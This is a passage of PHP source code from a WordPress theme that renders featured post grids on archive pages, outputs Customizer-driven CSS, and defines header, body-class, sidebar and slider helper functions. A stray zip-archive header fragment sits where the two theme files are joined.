				$show_reviewpie = false;
			}
			$primary_cat = get_theme_mod( 'penci_show_pricat_yoast_only' );
			if ( get_theme_mod( 'penci_arcf_cat' ) ) {
				unset( $post_meta[1] );
			}
			if ( get_theme_mod( 'penci_arcf_date' ) ) {
				unset( $post_meta[2] );
			}
			if ( get_theme_mod( 'penci_arcf_author' ) ) {
				$post_meta[] = 'author';
			}
			if ( get_theme_mod( 'penci_arcf_cm' ) ) {
				$post_meta[] = 'comment';
			}
			if ( get_theme_mod( 'penci_arcf_view' ) ) {
				$post_meta[] = 'views';
			}
			if ( get_theme_mod( 'penci_arcf_reading' ) ) {
				$post_meta[] = 'reading';
			}
			$show_formaticon = get_theme_mod( 'penci_grid_icon_format' );
			if ( $featured_posts->have_posts() ) {
				$bg          = 1;
				$thumb_size  = $mthumb_size = 'penci-masonry-thumb';
				$bthumb_size = 'penci-full-thumb';
				$num_posts   = $featured_posts->post_count;
				?>
                <div class="penci-clearfix penci-biggrid-wrapper<?php echo $wrapper_class; ?>">
                    <div class="penci-clearfix penci-biggrid penci-bg<?php echo $biggid_style; ?> penci-bgel">
                        <div class="penci-biggrid-inner">
							<?php
							if ( $flag_style ) {
								echo '<div class="penci-big-grid-ajax-data">';
							}
							echo '<div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
							while ( $featured_posts->have_posts() ) {
								$featured_posts->the_post();

								if ( $bg <= $grid_per_page ) {

									$is_big_item = '';
									$surplus     = penci_big_grid_count_classes( $bg, $biggid_style, true );
									$thumbnail   = $thumb_size;
									if ( ! empty( $big_items ) && in_array( $surplus, $big_items ) ) {
										$thumbnail   = $bthumb_size;
										$is_big_item = ' pcbg-big-item';
									}
									if ( penci_is_mobile() ) {
										$thumbnail = $mthumb_size;
									}
									?>
                                    <div class="penci-bgitem<?php echo $is_big_item . penci_big_grid_count_classes( $bg, $biggid_style ); ?>">
                                        <div class="penci-bgitin">
                                            <div class="penci-bgmain">
                                                <div class="pcbg-thumb">
													<?php
													/* Display Review Piechart  */
													if ( $show_reviewpie && function_exists( 'penci_display_piechart_review_html' ) ) {
														penci_display_piechart_review_html( get_the_ID() );
													}
													?>
													<?php if ( $show_formaticon ): ?>
														<?php if ( has_post_format( 'video' ) ) : ?>
                                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
														<?php endif; ?>
														<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                               aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
														<?php endif; ?>
														<?php if ( has_post_format( 'audio' ) ) : ?>
                                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
														<?php endif; ?>
														<?php if ( has_post_format( 'link' ) ) : ?>
                                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
														<?php endif; ?>
														<?php if ( has_post_format( 'quote' ) ) : ?>
                                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
														<?php endif; ?>
													<?php endif; ?>
                                                    <div class="pcbg-thumbin">
                                                        <a class="pcbg-bgoverlay active-overlay"
                                                           href="<?php the_permalink(); ?>"
                                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

                                                            <div <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumbnail ), ! $disable_lazy ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder">
	                                                            <?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumbnail ), get_the_title(),! $disable_lazy ); ?>
                                                            </div>

                                                    </div>
                                                </div>
                                                <div class="pcbg-content">
                                                    <div class="pcbg-content-flex">
                                                        <a class="pcbg-bgoverlay active-overlay"
                                                           href="<?php the_permalink(); ?>"
                                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
                                                        <div class="pcbg-content-inner bgcontent-block">
                                                            <a href="<?php the_permalink(); ?>"
                                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                               class="pcbg-bgoverlaytext item-hover"></a>

															<?php if ( in_array( 'cat', $post_meta ) ) : ?>
                                                                <div class="pcbg-above item-hover">
                                                                <span class="cat pcbg-sub-title">
                                                                    <?php penci_category( '', $primary_cat ); ?>
                                                                </span>
                                                                </div>
															<?php endif; ?>

															<?php if ( in_array( 'title', $post_meta ) ) :
																$title_length = get_theme_mod( 'penci_arf_titlength', '' );
																?>
                                                                <div class="pcbg-heading item-hover">
                                                                    <h3 class="pcbg-title">
                                                                        <a href="<?php the_permalink(); ?>">
																			<?php
																			if ( ! $title_length ) {
																				the_title();
																			} else {
																				echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
																			}
																			?>
                                                                        </a>
                                                                    </h3>
                                                                </div>
															<?php endif; ?>

															<?php if ( count( array_intersect( array(
																	'author',
																	'date',
																	'comment',
																	'views',
																	'reading',
																	'excerpt'
																), $post_meta ) ) > 0 ) { ?>
                                                                <div class="grid-post-box-meta pcbg-meta item-hover">
                                                                    <div class="pcbg-meta-desc">
																		<?php if ( in_array( 'author', $post_meta ) ) : ?>
                                                                            <span class="bg-date-author author-italic author vcard">
                                                                            <?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
																					penci_coauthors_posts_links();
																				else: ?>
                                                                                    <a class="author-url url fn n"
                                                                                       href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
																				<?php endif; ?>
                                                                        </span>
																		<?php endif; ?>
																		<?php if ( in_array( 'date', $post_meta ) ) : ?>
                                                                            <span class="bg-date"><?php penci_soledad_time_link(); ?></span>
																		<?php endif; ?>
																		<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                                                                            <span class="bg-comment">
                                                                            <a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
                                                                        </span>
																		<?php endif; ?>
																		<?php
																		if ( in_array( 'views', $post_meta ) ) {
																			echo '<span>';
																			echo penci_get_post_views( get_the_ID() );
																			echo ' ' . penci_get_setting( 'penci_trans_countviews' );
																			echo '</span>';
																		}
																		?>
																		<?php
																		$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
																		if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                                                            <span class="bg-readtime"><?php penci_reading_time(); ?></span>
																		<?php endif; ?>
																		<?php do_action( 'penci_extra_meta' ); ?>
                                                                    </div>
                                                                </div>
															<?php } ?>

                                                        </div>
                                                    </div>
                                                </div>

                                            </div>
                                        </div>
                                    </div>
									<?php
								}
								$bg ++;
								/* end loop content*/
							}
							?>
                        </div>
                    </div>
					<?php
					if ( $flag_style ) {
						echo '</div>';
					}
					?>
                </div>
                </div>

				<?php if ( get_theme_mod( 'penci_arcf_adbelow' ) ) { ?>
                    <div class="container container-arc-banner<?php echo $two_sidebar_class; ?>">
						<?php echo penci_render_google_adsense( 'penci_arcf_adbelow' ); ?>
                    </div>
				<?php } ?>

				<?php
				wp_reset_postdata();
			}
		}
	}
}

if ( ! function_exists( 'penci_featured_archive_ppl' ) ) {
	function penci_featured_archive_ppl( $biggid_style ) {

		$count = 5;

		if ( in_array( $biggid_style, array(
			'style-3',
			'style-5',
			'style-13',
			'style-17',
			'style-1 penci-grid-col-3'
		) ) ) {
			$count = 3;
		} else if ( in_array( $biggid_style, array(
			'style-7',
			'style-8',
			'style-11',
			'style-12',
			'style-14',
			'style-16',
			'style-18',
			'style-1 penci-grid-col-4'
		) ) ) {
			$count = 4;
		} else if ( in_array( $biggid_style, array( 'style-15' ) ) ) {
			$count = 6;
		} else if ( in_array( $biggid_style, array( 'style-19', 'style-20', 'style-21', 'style-22' ) ) ) {
			$count = 7;
		} else if ( $biggid_style == 'style-1 penci-grid-col-2' ) {
			$count = 2;
		}

		return $count;
	}
}

if ( ! function_exists( 'penci_featured_exclude_posts' ) ) {
	function penci_featured_exclude_posts() {
		$penci_featured_layout     = '';
		$penci_cat_featured_layout = get_theme_mod( 'penci_cat_featured_layout', '' );
		$penci_tag_featured_layout = get_theme_mod( 'penci_tag_featured_layout', '' );

		if ( is_category() && $penci_cat_featured_layout ) {
			$penci_featured_layout = $penci_cat_featured_layout;
		}

		if ( is_tag() && $penci_tag_featured_layout ) {
			$penci_featured_layout = $penci_tag_featured_layout;
		}

		return (bool) $penci_featured_layout;
	}
}

function penci_get_query_archive_first_posts_featured() {
	$featured_query            = [];
	$penci_cat_featured_layout = get_theme_mod( 'penci_cat_featured_layout', '' );
	$penci_tag_featured_layout = get_theme_mod( 'penci_tag_featured_layout', '' );


	if ( ( is_category() && $penci_cat_featured_layout ) || ( is_tag() && $penci_tag_featured_layout ) ) {
		$term                             = get_queried_object();
		$penci_featured_layout            = is_category() ? $penci_cat_featured_layout : $penci_tag_featured_layout;
		$featured_query['tax_query']      = array(
			array(
				'taxonomy' => $term->taxonomy,
				'terms'    => $term->term_id,
			),
		);
		$grid_per_page                    = penci_featured_archive_ppl( $penci_featured_layout );
		$featured_query['posts_per_page'] = $grid_per_page;

		$sortby   = get_theme_mod( 'penci_arf_sortby', 'desc' );
		$order_by = get_theme_mod( 'penci_arf_orderby', '' );

		$featured_query['orderby'] = $order_by;
		$featured_query['order']   = $sortby;

		if ( 'popular' == $order_by ) {
			$featured_query['meta_key'] = penci_get_postviews_key();
			$featured_query['orderby']  = 'meta_value_num';
		} elseif ( 'popular_day' == $order_by ) {
			$featured_query['meta_key'] = 'penci_post_day_views_count';
			$featured_query['orderby']  = 'meta_value_num';
		} elseif ( 'popular7' == $order_by ) {
			$featured_query['meta_key'] = 'penci_post_week_views_count';
			$featured_query['orderby']  = 'meta_value_num';
		} elseif ( 'popular_month' == $order_by ) {
			$featured_query['meta_key'] = 'penci_post_month_views_count';
			$featured_query['orderby']  = 'meta_value_num';
		} elseif ( 'jetpack' == $order_by ) {
			$featured_query['meta_key'] = '_jetpack_post_view';
			$featured_query['orderby']  = 'meta_value_num';
		}
	}

	return $featured_query;
}

if ( ! function_exists( 'penci_featured_exclude_ids' ) ) {
	function penci_featured_exclude_ids(): array {
		$ids  = [];
		$args = penci_get_query_archive_first_posts_featured();

		if ( ! empty( $args ) ) {

			$checkquery_posts = get_posts( $args );
			foreach ( $checkquery_posts as $post ) {
				$ids[] = $post->ID;
			}

		}

		return $ids;
	}
}


if ( ! function_exists( 'penci_featured_exclude_query_posts' ) ) {
	add_action( 'pre_get_posts', 'penci_featured_exclude_query_posts' );
	function penci_featured_exclude_query_posts( $query ) {
		if ( penci_featured_exclude_posts() && ! is_admin() && $query->is_main_query() ) {
			$featured_ids = penci_featured_exclude_ids();
			$query->set( 'post__not_in', $featured_ids );
		}
	}
}

if ( ! function_exists( 'penci_featured_custom_css' ) ) {
	add_action( 'soledad_theme/custom_css', 'penci_featured_custom_css' );
	function penci_featured_custom_css() {

		$custom_colors = [
			'penci_arf_t_cl'                    => [
				'color' => '.biggrid-archive-wrapper .pcbg-content-inner .pcbg-title, .biggrid-archive-wrapper .pcbg-content-inner .pcbg-title a',
			],
			'penci_arf_t_hcl'                   => [
				'color' => '.biggrid-archive-wrapper .pcbg-content-inner .pcbg-title:hover, .biggrid-archive-wrapper .pcbg-content-inner .pcbg-title a:hover',
			],
			'penci_arf_meta_cl'                 => [
				'color' => '.biggrid-archive-wrapper .pcbg-meta, .biggrid-archive-wrapper .pcbg-meta span, .biggrid-archive-wrapper .pcbg-meta span a',
			],
			'penci_arf_meta_lcl'                => [
				'color' => '.biggrid-archive-wrapper .pcbg-meta span a',
			],
			'penci_arf_meta_hcl'                => [
				'color' => '.biggrid-archive-wrapper .pcbg-meta span a:hover',
			],
			'penci_arf_cat_cl'                  => [
				'color' => '.biggrid-archive-wrapper .pcbg-content-inner .cat > a.penci-cat-name',
			],
			'penci_arf_cat_hcl'                 => [
				'color' => '.biggrid-archive-wrapper .pcbg-content-inner .cat > a.penci-cat-name:hover',
			],
			'penci_arf_catfs'                   => [
				'font-size' => '.biggrid-archive-wrapper .cat > a.penci-cat-name',
			],
			'penci_arf_t_fs'                    => [
				'font-size' => '.biggrid-archive-wrapper .pcbg-content-inner .pcbg-title, .biggrid-archive-wrapper .pcbg-content-inner .pcbg-title a',
			],
			'penci_arf_t_bfs'                   => [
				'font-size' => '.biggrid-archive-wrapper .penci-biggrid-data.penci-fixh .pcbg-big-item .pcbg-content-inner .pcbg-title, .biggrid-archive-wrapper .penci-biggrid-data.penci-fixh .pcbg-big-item .pcbg-content-inner .pcbg-title a',
			],
			'penci_arf_meta_fs'                 => [
				'font-size' => '.biggrid-archive-wrapper .pcbg-meta, .biggrid-archive-wrapper .pcbg-meta span, .biggrid-archive-wrapper .pcbg-meta span a',
			],
			'penci_arf_gap'                     => [
				'--pcgap' => '.biggrid-archive-wrapper .penci-biggrid',
			],
			'penci_arf_img_ratio'               => [
				'padding-top' => '.biggrid-archive-wrapper .penci-bgitem .penci-image-holder:before',
			],
			'penci_category_featured_img_ratio' => [
				'padding-top' => '.biggrid-category-wrapper .penci-bgitem .penci-image-holder:before',
			],
			'penci_tag_featured_img_ratio'      => [
				'padding-top' => '.biggrid-tag-wrapper .penci-bgitem .penci-image-holder:before',
			],
			'penci_arf_exp_cl'                  => [
				'color' => '.biggrid-archive-wrapper .pcbg-content-inner .pcbg-meta .pcbg-pexcerpt',
			],
			'penci_arf_height'                  => [
				'--bgh' => '.biggrid-archive-wrapper .penci-biggrid .penci-fixh',
			],
			'penci_category_featured_height'    => [
				'--bgh' => '.biggrid-cat-wrapper .penci-biggrid .penci-fixh',
			],
			'penci_tag_featured_height'         => [
				'--bgh' => '.biggrid-tag-wrapper .penci-biggrid .penci-fixh',
			],
		];

		$mobile_css = [
			'penci_arf_mheight'               => [
				'--bgh' => '.biggrid-archive-wrapper .penci-biggrid .penci-fixh',
			],
			'penci_category_featured_mheight' => [
				'--bgh' => '.biggrid-cat-wrapper .penci-biggrid .penci-fixh',
			],
			'penci_tag_featured_mheight'      => [
				'--bgh' => '.biggrid-tag-wrapper .penci-biggrid .penci-fixh',
			],
			'penci_arf_t_mfs'                 => [
				'font-size' => '.biggrid-archive-wrapper .penci-bgrid-content-on .pcbg-content-inner .pcbg-title, .biggrid-archive-wrapper .penci-bgrid-content-on .pcbg-content-inner .pcbg-title a',
			],
			'penci_arf_t_bmfs'                => [
				'font-size' => '.biggrid-archive-wrapper .penci-biggrid-data.penci-fixh .pcbg-big-item .pcbg-content-inner .pcbg-title, .biggrid-archive-wrapper .penci-biggrid-data.penci-fixh .pcbg-big-item .pcbg-content-inner .pcbg-title a',
			],
		];

		$tablet_css = [
			'penci_arf_theight'          => [
				'--bgh' => '.biggrid-archive-wrapper .penci-biggrid .penci-fixh',
			],
			'penci_cat_featured_theight' => [
				'--bgh' => '.biggrid-cat-wrapper .penci-biggrid .penci-fixh',
			],
			'penci_tag_featured_theight' => [
				'--bgh' => '.biggrid-tag-wrapper .penci-biggrid .penci-fixh',
			],
		];

		penci_featured_render_css( $custom_colors );
		penci_featured_render_css( $mobile_css, 'mobile' );
		penci_featured_render_css( $tablet_css, 'tablet' );

		$gap_size = get_theme_mod( 'penci_arf_gap' );
		if ( $gap_size ) {
			echo '.biggrid-archive-wrapper .penci-bgstyle-1 .penci-dflex{';
			echo 'margin-left: calc(-' . $gap_size . 'px/2); margin-right: calc(-' . $gap_size . 'px/2); width: calc(100% + ' . $gap_size . 'px);';
			echo '}';
			echo '.biggrid-archive-wrapper .penci-bgstyle-1 .penci-bgitem{';
			echo 'padding-left: calc(' . $gap_size . 'px/2); padding-right: calc(' . $gap_size . 'px/2); margin-bottom: ' . $gap_size . 'px';
			echo '}';
		}
	}
}

if ( ! function_exists( 'penci_featured_render_css' ) ) {
	function penci_featured_render_css( $custom_colors, $mobile = false ) {

		$before = $after = '';

		if ( 'mobile' == $mobile ) {
			$before = '@media only screen and (max-width: 767px){';
			$after  = '}';
		}

		if ( 'tablet' == $mobile ) {
			$before = '@media only screen and (min-width: 768px) and (max-width: 1169px){';
			$after  = '}';
		}

		foreach ( $custom_colors as $option => $rules ) {
			$value  = get_theme_mod( $option );
			$prefix = is_numeric( $value ) ? 'px' : '';
			$prefix = strpos( $option, 'img_ratio' ) !== false ? '%' : $prefix;
			if ( $value ) {
				foreach ( $rules as $prop => $selector ) {
					echo $before . $selector . '{' . $prop . ':' . $value . $prefix . ';}' . $after;
				}
			}
		}
	}
}

if ( ! function_exists( 'penci_featured_title_check' ) ) {
	function penci_featured_title_check() {
		$category     = get_queried_object();
		$featured_ids = count( penci_featured_exclude_ids() );

		return $featured_ids == $category->count;
	}
}
PK     2w\    template-function.phpnu [        <?php
/**
 * Adds custom classes to the array of body classes.
 *
 * @param array $classes Classes for the body element.
 *
 * @return array
 */
/* Check page header has enable or not */

if ( ! function_exists( 'penci_is_pageheader' ) ) :
	function penci_is_pageheader() {
		if ( ! is_page() ) :
			return false;
		endif;

		static $show_page_title;
		$show_page_title  = get_theme_mod( 'penci_pheader_show' );
		$penci_page_title = get_post_meta( get_the_ID(), 'penci_pmeta_page_title', true );

		$pheader_show = isset( $penci_page_title['pheader_show'] ) ? $penci_page_title['pheader_show'] : '';
		if ( 'enable' == $pheader_show ) {
			$show_page_title = true;
		} elseif ( 'disable' == $pheader_show ) {
			$show_page_title = false;
		}

		return $show_page_title;
	}
endif;
if ( ! function_exists( 'penci_soledad_get_header_layout' ) ) :
	function penci_soledad_get_header_layout() {
		$header_layout = get_theme_mod( 'penci_header_layout' );
		if ( is_page() ) {
			$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
			if ( isset( $pmeta_page_header['header_style'] ) && $pmeta_page_header['header_style'] ) {
				$header_layout = $pmeta_page_header['header_style'];
			}
		}

		if ( empty( $header_layout ) ) {
			$header_layout = 'header-1';
		}

		return $header_layout;
	}
endif;

if ( ! function_exists( 'penci_soledad_get_header_width' ) ) :
	function penci_soledad_get_header_width() {
		$header_width = get_theme_mod( 'penci_header_ctwidth' );
		if ( is_page() ) {
			$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
			if ( isset( $pmeta_page_header['penci_header_width'] ) && $pmeta_page_header['penci_header_width'] ) {
				$header_width = $pmeta_page_header['penci_header_width'];
			}
		}

		$output = 'container';
		if ( $header_width ) {
			$output .= ' container-' . $header_width;
		}

		echo $output;
	}
endif;

if ( ! function_exists( 'penci_soledad_get_header_container_width' ) ) :
	function penci_soledad_get_header_container_width() {
		$header_width = get_theme_mod( 'penci_header_ctwidth' );
		if ( is_page() ) {
			$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
			if ( isset( $pmeta_page_header['penci_header_width'] ) && $pmeta_page_header['penci_header_width'] ) {
				$header_width = $pmeta_page_header['penci_header_width'];
			}
		}

		$output = '1170';
		if ( $header_width ) {
			$output = $header_width;
		}

		return $output;
	}
endif;

if ( ! function_exists( 'penci_soledad_wpheader_classes' ) ) :
	function penci_soledad_wpheader_classes( $class = '' ) {
		$_featured_slider_all_page   = get_theme_mod( 'penci_featured_slider_all_page' );
		$_featured_slider            = get_theme_mod( 'penci_featured_slider' );
		$_vertical_nav_remove_header = get_theme_mod( 'penci_vertical_nav_remove_header' );
		$_vertical_nav_show          = get_theme_mod( 'penci_vertical_nav_show' );
		$header_layout               = penci_soledad_get_header_layout();

		$classes = 'header-' . $header_layout;
		if ( ( ( ! is_home() || ! is_front_page() ) && ! $_featured_slider_all_page ) || ( ( is_home() || is_front_page() ) && ! $_featured_slider ) ) {
			$classes .= ' has-bottom-line';
		}
		if ( $_vertical_nav_remove_header && $_vertical_nav_show ) {
			$classes .= ' penci-vernav-hide-innerhead';
		}

		if ( $class ) {
			$classes .= ' ' . $class;
		}

		return $classes;
	}
endif;

if ( ! function_exists( 'penci_soledad_sitenavigation_classes' ) ) :
	function penci_soledad_sitenavigation_classes( $class = '' ) {
		$menu_style    = get_theme_mod( 'penci_header_menu_style' );
		$header_layout = penci_soledad_get_header_layout();

		$classes = '';

		if ( in_array( $header_layout, array( 'header-1', 'header-4', 'header-7' ) ) ) {
			$classes .= 'header-layout-top';
		} else {
			$classes .= 'header-layout-bottom';
		}

		if ( $header_layout == 'header-9' ) {
			$classes .= ' header-6';
		}

		if ( $header_layout == 'header-10' || $header_layout == 'header-11' ) {
			$overflow_logo = get_theme_mod( 'penci_overflow_logo' );
			if ( $overflow_logo ) {
				$class .= ' penci-logo-overflow';
			}
		}

		$classes .= ' ' . $header_layout;
		$classes .= ' ' . ( $menu_style ? $menu_style : 'menu-style-1' );

		if ( get_theme_mod( 'penci_header_enable_padding' ) ) {
			$classes .= ' menu-item-padding';
		}
		if ( get_theme_mod( 'penci_disable_sticky_header' ) ) {
			$classes .= ' penci-disable-sticky-nav';
		}

		if ( $class ) {
			$classes .= ' ' . $class;
		}

		return $classes;
	}
endif;

if ( ! function_exists( 'penci_soledad_body_classes' ) ) :
	function penci_soledad_body_classes( $classes ) {

		$fontawesome_ver5 = get_theme_mod( 'penci_fontawesome_ver5' );
		if ( $fontawesome_ver5 ) {
			$classes[] = 'penci-fawesome-ver5';
		}

		if ( is_singular( 'portfolio' ) ) {

			if ( get_theme_mod( 'penci_portfolio_single_enable_2sidebar' ) ) {
				$classes[] = 'penci-two-sidebar';
			}
		} elseif ( is_home() || is_front_page() ) {

			$show_on_front = get_option( 'show_on_front' );
			if ( 'page' == $show_on_front ) {

				$sidebar_layout   = get_theme_mod( 'penci_page_default_template_layout' );
				$sidebar_position = get_post_meta( get_the_ID(), 'penci_sidebar_page_pos', true );
				if ( $sidebar_position ) {
					$sidebar_layout = $sidebar_position;
				}

				if ( 'two-sidebar' == $sidebar_layout ) {
					$classes[] = 'penci-two-sidebar';
				}

				// Header transparent
				$header_trans = penci_is_header_transparent();
				if ( $header_trans ) {
					$classes[] = 'penci-header-trans';
				}
			} elseif ( get_theme_mod( 'penci_two_sidebar_home' ) ) {
				$classes[] = 'penci-two-sidebar';
			}
		} elseif ( is_archive() || is_search() || is_404() ) {

			$is_two_sidebar_archive = get_theme_mod( 'penci_two_sidebar_archive' );

			if ( is_category() ) {
				$category_oj  = get_queried_object();
				$fea_cat_id   = $category_oj->term_id;
				$cat_meta     = get_option( "category_$fea_cat_id" );
				$sidebar_opts = isset( $cat_meta['cat_sidebar_display'] ) ? $cat_meta['cat_sidebar_display'] : '';
				if ( $sidebar_opts == 'two' ) {
					$is_two_sidebar_archive = true;
				} elseif ( $sidebar_opts ) {
					$is_two_sidebar_archive = false;
				}
			}

			if ( $is_two_sidebar_archive ) {
				$classes[] = 'penci-two-sidebar';
			}
		} elseif ( is_page() ) {
			$sidebar_layout   = get_theme_mod( 'penci_page_default_template_layout' );
			$sidebar_position = get_post_meta( get_the_ID(), 'penci_sidebar_page_pos', true );
			if ( $sidebar_position ) {
				$sidebar_layout = $sidebar_position;
			}

			if ( 'two-sidebar' == $sidebar_layout ) {
				$classes[] = 'penci-two-sidebar';
			}

			$show_page_title = penci_is_pageheader();
			if ( $show_page_title ) :
				$classes[] = 'penci-body-epageheader';
			endif;

			// Header transparent
			$header_trans = penci_is_header_transparent();
			if ( $header_trans ) {
				$classes[] = 'penci-header-trans';
			}
		} elseif ( is_single() ) {
			$sidebar_single_layout   = get_theme_mod( 'penci_single_layout' );
			$sidebar_single_position = penci_get_single_key( get_the_ID(), 'penci_post_sidebar_display' );
			if ( $sidebar_single_position ) {
				$sidebar_single_layout = $sidebar_single_position;
			}

			if ( 'two' == $sidebar_single_layout ) {
				$classes[] = 'penci-two-sidebar';
			}
		}

		if ( is_singular( 'portfolio' ) || is_singular( 'product' ) ) {
			$classes[] = 'penci-port-product';
		}

		return $classes;
	}

	add_filter( 'body_class', 'penci_soledad_body_classes' );
endif;

/**
 * Get class sidebar position
 */
if ( ! function_exists( 'penci_is_header_transparent' ) ) :
	function penci_is_header_transparent() {
		$header_trans = false;
		if ( is_page() ) {
			$header_trans = get_theme_mod( 'penci_header_enable_transparent' );
		}

		$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
		if ( isset( $pmeta_page_header['penci_edeader_trans'] ) ) {
			if ( 'yes' == $pmeta_page_header['penci_edeader_trans'] ) {
				$header_trans = true;
			} elseif ( 'no' == $pmeta_page_header['penci_edeader_trans'] ) {
				$header_trans = false;
			}
		}

		return $header_trans;
	}
endif;

/**
 * Get class sidebar position
 */
if ( ! function_exists( 'penci_get_sidebar_position_archive' ) ) :
	function penci_get_sidebar_position_archive() {
		$sidebar_position = 'right-sidebar';
		if ( get_theme_mod( 'penci_two_sidebar_archive' ) ) {
			$sidebar_position = 'two-sidebar';
		} elseif ( get_theme_mod( 'penci_left_sidebar_archive' ) ) {
			$sidebar_position = 'left-sidebar';
		}

		return $sidebar_position;
	}
endif;

if ( ! function_exists( 'get_list_custom_sidebar_option' ) ) :
	function get_list_custom_sidebar_option() {
		$list_sidebar = array(
			'main-sidebar'      => 'Main Sidebar',
			'main-sidebar-left' => 'Main Sidebar Left',
			'custom-sidebar-1'  => 'Custom Sidebar 1',
			'custom-sidebar-2'  => 'Custom Sidebar 2',
			'custom-sidebar-3'  => 'Custom Sidebar 3',
			'custom-sidebar-4'  => 'Custom Sidebar 4',
			'custom-sidebar-5'  => 'Custom Sidebar 5',
			'custom-sidebar-6'  => 'Custom Sidebar 6',
			'custom-sidebar-7'  => 'Custom Sidebar 7',
			'custom-sidebar-8'  => 'Custom Sidebar 8',
			'custom-sidebar-9'  => 'Custom Sidebar 9',
			'custom-sidebar-10' => 'Custom Sidebar 10',
		);

		$custom_sidebars = get_option( 'soledad_custom_sidebars' );
		if ( empty( $custom_sidebars ) || ! is_array( $custom_sidebars ) ) {
			return $list_sidebar;
		}

		foreach ( $custom_sidebars as $sidebar_id => $custom_sidebar ) {

			if ( empty( $custom_sidebar['name'] ) ) {
				continue;
			}
			$list_sidebar[ $sidebar_id ] = $custom_sidebar['name'];
		}

		return $list_sidebar;
	}
endif;

if ( ! function_exists( 'penci_get_option_yesno' ) ) {
	function penci_get_option_yesno( $default = false ) {
		$output = array();

		if ( $default ) {
			$output[''] = esc_html__( 'Default( follow Customize )', 'soledad' );
		}

		$output['no']  = esc_html__( 'No', 'soledad' );
		$output['yes'] = esc_html__( 'Yes', 'soledad' );

		return $output;
	}
}

if ( ! function_exists( 'penci_get_option_menus' ) ) {
	function penci_get_option_menus( $hide_empty = false ) {
		$output = array( '' => esc_html__( '-- Default Select -- ', 'soledad' ) );

		$menus = get_terms( 'nav_menu', array( 'hide_empty' => $hide_empty ) );

		foreach ( $menus as $menu ) {
			$output[ $menu->term_id ] = $menu->name;
		}

		return $output;
	}
}

if ( ! function_exists( 'penci_get_data_slider' ) ) :
	function penci_get_data_slider( $args ) {
		$items = $autoplay = $autotime = $speed = $loop = $showdots = $shownav = '';

		$args = wp_parse_args(
			$args,
			array(
				'items'                  => '1',
				'autoplay'               => '',
				'autotime'               => '',
				'auto_time'              => '',
				'speed'                  => '',
				'loop'                   => '',
				'showdots'               => '0',
				'shownav'                => '0',
				'transition'             => '',
				'carousel_slider_effect' => '',
				'single_slider_effect'   => '',
			)
		);
		extract( $args );

		$atimes = $autotime ? $autotime : $auto_time;

		$data = ' data-items="' . $items . '"';
		$data .= ' data-auto="' . ( 'yes' == $autoplay ? 'true' : 'false' ) . '"';

		$data .= $atimes ? ' data-autotime="' . $atimes . '"' : '';
		$data .= $speed ? ' data-speed="' . $speed . '"' : '';
		$data .= ! $loop ? ' data-loop="false"' : '';
		$data .= $showdots ? ' data-dots="true"' : '';
		$data .= ! $shownav ? ' data-nav="true"' : '';
		$data .= $transition ? ' data-anim="' . $transition . '"' : '';
		$data .= $carousel_slider_effect ? ' data-ceffect="' . $carousel_slider_effect . '"' : '';
		$data .= $single_slider_effect ? ' data-seffect="' . $single_slider_effect . '"' : '';

		return $data;
	}
endif;

if ( defined( 'ELEMENTOR_VERSION' ) || defined( 'WPB_VC_VERSION' ) ) {
	if ( ! function_exists( 'custom_css_title_block_pagebuilder' ) ) {
		add_action( 'soledad_theme/custom_css', 'custom_css_title_block_pagebuilder' );
		function custom_css_title_block_pagebuilder() {
			if ( get_theme_mod( 'penci_sidebar_heading_lowcase' ) ) : ?>
                .penci-block-vc .penci-border-arrow .inner-arrow { text-transform: none; }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_heading_size' ) ) : ?>
                .penci-block-vc .penci-border-arrow .inner-arrow { font-size: <?php echo get_theme_mod( 'penci_sidebar_heading_size' ); ?>px; }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_heading_image_8' ) ) : ?>
                .penci-block-vc .style-8.penci-border-arrow .inner-arrow { background-image: url(<?php echo get_theme_mod( 'penci_sidebar_heading_image_8' ); ?>); }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_heading8_repeat' ) ) : ?>
                .penci-block-vc .style-8.penci-border-arrow .inner-arrow { background-repeat: <?php echo get_theme_mod( 'penci_sidebar_heading8_repeat' ); ?>; background-size: auto; }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_heading_bg' ) ) : ?>
